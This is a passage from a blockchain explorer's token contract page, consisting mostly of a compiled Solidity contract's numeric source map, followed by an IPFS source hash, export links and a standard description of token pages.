;4334:737:1:o;5076:348::-;5160:6;5213:2;5201:9;5192:7;5188:23;5184:32;5181:52;;;5229:1;5226;5219:12;5181:52;5269:9;5256:23;5302:18;5294:6;5291:30;5288:50;;;5334:1;5331;5324:12;5288:50;5357:61;5410:7;5401:6;5390:9;5386:22;5357:61;:::i;:::-;5347:71;5076:348;-1:-1:-1;;;;5076:348:1:o;5429:247::-;5488:6;5541:2;5529:9;5520:7;5516:23;5512:32;5509:52;;;5557:1;5554;5547:12;5509:52;5596:9;5583:23;5615:31;5640:5;5615:31;:::i;5903:248::-;5971:6;5979;6032:2;6020:9;6011:7;6007:23;6003:32;6000:52;;;6048:1;6045;6038:12;6000:52;-1:-1:-1;;6071:23:1;;;6141:2;6126:18;;;6113:32;;-1:-1:-1;5903:248:1:o;6156:658::-;6327:2;6379:21;;;6449:13;;6352:18;;;6471:22;;;6298:4;;6327:2;6550:15;;;;6524:2;6509:18;;;6298:4;6593:195;6607:6;6604:1;6601:13;6593:195;;;6672:13;;-1:-1:-1;;;;;6668:39:1;6656:52;;6763:15;;;;6728:12;;;;6704:1;6622:9;6593:195;;;-1:-1:-1;6805:3:1;;6156:658;-1:-1:-1;;;;;;6156:658:1:o;6819:477::-;6909:6;6917;6970:2;6958:9;6949:7;6945:23;6941:32;6938:52;;;6986:1;6983;6976:12;6938:52;7026:9;7013:23;7059:18;7051:6;7048:30;7045:50;;;7091:1;7088;7081:12;7045:50;7114:61;7167:7;7158:6;7147:9;7143:22;7114:61;:::i;:::-;7104:71;;;7225:2;7214:9;7210:18;7197:32;7238:28;7260:5;7238:28;:::i;:::-;7285:5;7275:15;;;6819:477;;;;;:::o;7301:382::-;7366:6;7374;7427:2;7415:9;7406:7;7402:23;7398:32;7395:52;;;7443:1;7440;7433:12;7395:52;7482:9;7469:23;7501:31;7526:5;7501:31;:::i;:::-;7551:5;-1:-1:-1;7608:2:1;7593:18;;7580:32;7621:30;7580:32;7621:30;:::i;7688:402::-;7770:6;7778;7831:2;7819:9;7810:7;7806:23;7802:32;7799:52;;;7847:1;7844;7837:12;7799:52;7886:9;7873:23;7905:31;7930:5;7905:31;:::i;:::-;7955:5;-1:-1:-1;8012:2:1;7997:18;;7984:32;8025:33;7984:32;8025:33;:::i;8095:385::-;8181:6;8189;8197;8205;8258:3;8246:9;8237:7;8233:23;8229:33;8226:53;;;8275:1;8272;8265:12;8226:53;-1:-1:-1;;8298:23:1;;;8368:2;8353:18;;8340:32;;-1:-1:-1;8419:2:1;8404:18;;8391:32;;8470:2;8455:18;8442:32;;-1:-1:-1;8095:385:1;-1:-1:-1;8095:385:1:o;8485:416::-;8578:6;8586;8639:2;8627:9;8618:7;8614:23;8610:32;8607:52;;;8655:1;8652;8645:12;8607:52;8691:9;8678:23;8668:33;;8752:2;8741:9;8737:18;8724:32;8779:18;8771:6;8768:30;8765:50;;;8811:1;8808;8801:12;8765:50;8834:61;8887:7;8878:6;8867:9;8863:22;8834:61;:::i;:::-;8824:71;;;8485:416;;;;;:::o;8906:1140::-;9024:6;9032;9085:2;9073:9;9064:7;9060:23;9056:32;9053:52;;;9101:1;9098;9091:12;9053:52;9141:9;9128:23;9170:18;9211:2;9203:6;9200:14;9197:34;;;9227:1;9224;9217:12;9197:34;9265:6;9254:9;9250:22;9240:32;;9310:7;9303:4;9299:2;9295:13;9291:27;9281:55;;9332:1;9329;9322:12;9281:55;9368:2;9355:16;9390:4;9414:60;9430:43;9470:2;9430:43;:::i;9414:60::-;9508:15;;;9590:1;9586:10;;;;9578:19;;9574:28;;;9539:12;;;;9614:19;;;9611:39;;;9646:1;9643;9636:12;9611:39;9670:11;;;;9690:142;9706:6;9701:3;9698:15;9690:142;;;9772:17;;9760:30;;9723:12;;;;9810;;;;9690:142;;;9851:5;-1:-1:-1;;9894:18:1;;9881:32;;-1:-1:-1;;9925:16:1;;;9922:36;;;9954:1;9951;9944:12;9922:36;;9977:63;10032:7;10021:8;10010:9;10006:24;9977:63;:::i;11141:380::-;11220:1;11216:12;;;;11263;;;11284:61;;11338:4;11330:6;11326:17;11316:27;;11284:61;11391:2;11383:6;11380:14;11360:18;11357:38;11354:161;;11437:10;11432:3;11428:20;11425:1;11418:31;11472:4;11469:1;11462:15;11500:4;11497:1;11490:15;11354:161;;11141:380;;;:::o;11526:400::-;11728:2;11710:21;;;11767:2;11747:18;;;11740:30;11806:34;11801:2;11786:18;;11779:62;-1:-1:-1;;;11872:2:1;11857:18;;11850:34;11916:3;11901:19;;11526:400::o;11931:127::-;11992:10;11987:3;11983:20;11980:1;11973:31;12023:4;12020:1;12013:15;12047:4;12044:1;12037:15;12063:127;12124:10;12119:3;12115:20;12112:1;12105:31;12155:4;12152:1;12145:15;12179:4;12176:1;12169:15;12195:135;12234:3;12255:17;;;12252:43;;12275:18;;:::i;:::-;-1:-1:-1;12322:1:1;12311:13;;12195:135::o;12335:125::-;12400:9;;;12421:10;;;12418:36;;;12434:18;;:::i;12465:184::-;12535:6;12588:2;12576:9;12567:7;12563:23;12559:32;12556:52;;;12604:1;12601;12594:12;12556:52;-1:-1:-1;12627:16:1;;12465:184;-1:-1:-1;12465:184:1:o;12654:495::-;12715:3;12753:5;12747:12;12780:6;12775:3;12768:19;12806:4;12835:2;12830:3;12826:12;12819:19;;12857:5;12854:1;12847:16;12899:2;12896:1;12886:16;12920:1;12930:194;12944:6;12941:1;12938:13;12930:194;;;13009:13;;-1:-1:-1;;;;;13005:39:1;12993:52;;13065:12;;;;13041:1;13100:14;;;;12959:9;12930:194;;;-1:-1:-1;13140:3:1;;12654:495;-1:-1:-1;;;;;12654:495:1:o;13154:337::-;13358:6;13347:9;13340:25;13401:2;13396;13385:9;13381:18;13374:30;13321:4;13421:64;13481:2;13470:9;13466:18;13458:6;13421:64;:::i;13496:881::-;13591:6;13622:2;13665;13653:9;13644:7;13640:23;13636:32;13633:52;;;13681:1;13678;13671:12;13633:52;13714:9;13708:16;13747:18;13739:6;13736:30;13733:50;;;13779:1;13776;13769:12;13733:50;13802:22;;13855:4;13847:13;;13843:27;-1:-1:-1;13833:55:1;;13884:1;13881;13874:12;13833:55;13913:2;13907:9;13936:60;13952:43;13992:2;13952:43;:::i;13936:60::-;14030:15;;;14112:1;14108:10;;;;14100:19;;14096:28;;;14061:12;;;;14136:19;;;14133:39;;;14168:1;14165;14158:12;14133:39;14192:11;;;;14212:135;14228:6;14223:3;14220:15;14212:135;;;14294:10;;14282:23;;14245:12;;;;14325;;;;14212:135;;;14366:5;13496:881;-1:-1:-1;;;;;;;13496:881:1:o;15067:245::-;15134:6;15187:2;15175:9;15166:7;15162:23;15158:32;15155:52;;;15203:1;15200;15193:12;15155:52;15235:9;15229:16;15254:28;15276:5;15254:28;:::i;15724:251::-;15794:6;15847:2;15835:9;15826:7;15822:23;15818:32;15815:52;;;15863:1;15860;15853:12;15815:52;15895:9;15889:16;15914:31;15939:5;15914:31;:::i;18154:128::-;18221:9;;;18242:11;;;18239:37;;;18256:18;;:::i;19055:217::-;19095:1;19121;19111:132;;19165:10;19160:3;19156:20;19153:1;19146:31;19200:4;19197:1;19190:15;19228:4;19225:1;19218:15;19111:132;-1:-1:-1;19257:9:1;;19055:217::o;19920:168::-;19993:9;;;20024;;20041:15;;;20035:22;;20021:37;20011:71;;20062:18;;:::i;20093:188::-;20172:13;;-1:-1:-1;;;;;20214:42:1;;20204:53;;20194:81;;20271:1;20268;20261:12;20194:81;20093:188;;;:::o;20286:450::-;20373:6;20381;20389;20442:2;20430:9;20421:7;20417:23;20413:32;20410:52;;;20458:1;20455;20448:12;20410:52;20481:40;20511:9;20481:40;:::i;:::-;20471:50;;20540:49;20585:2;20574:9;20570:18;20540:49;:::i;:::-;20530:59;;20632:2;20621:9;20617:18;20611:25;20676:10;20669:5;20665:22;20658:5;20655:33;20645:61;;20702:1;20699;20692:12;23005:587;23301:6;23290:9;23283:25;23344:6;23339:2;23328:9;23324:18;23317:34;23387:3;23382:2;23371:9;23367:18;23360:31;23264:4;23408:65;23468:3;23457:9;23453:19;23445:6;23408:65;:::i;:::-;-1:-1:-1;;;;;23509:32:1;;;;23504:2;23489:18;;23482:60;-1:-1:-1;23573:3:1;23558:19;23551:35;23400:73;23005:587;-1:-1:-1;;;23005:587:1:o;24362:306::-;24450:6;24458;24466;24519:2;24507:9;24498:7;24494:23;24490:32;24487:52;;;24535:1;24532;24525:12;24487:52;24564:9;24558:16;24548:26;;24614:2;24603:9;24599:18;24593:25;24583:35;;24658:2;24647:9;24643:18;24637:25;24627:35;;24362:306;;;;;:::o;24673:287::-;24802:3;24840:6;24834:13;24856:66;24915:6;24910:3;24903:4;24895:6;24891:17;24856:66;:::i;:::-;24938:16;;;;;24673:287;-1:-1:-1;;24673:287:1:o
Swarm Source
ipfs://6aa780295686b1940231a492dc348613f0aaebe9fbe10cdd3097392bd1ea1254
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.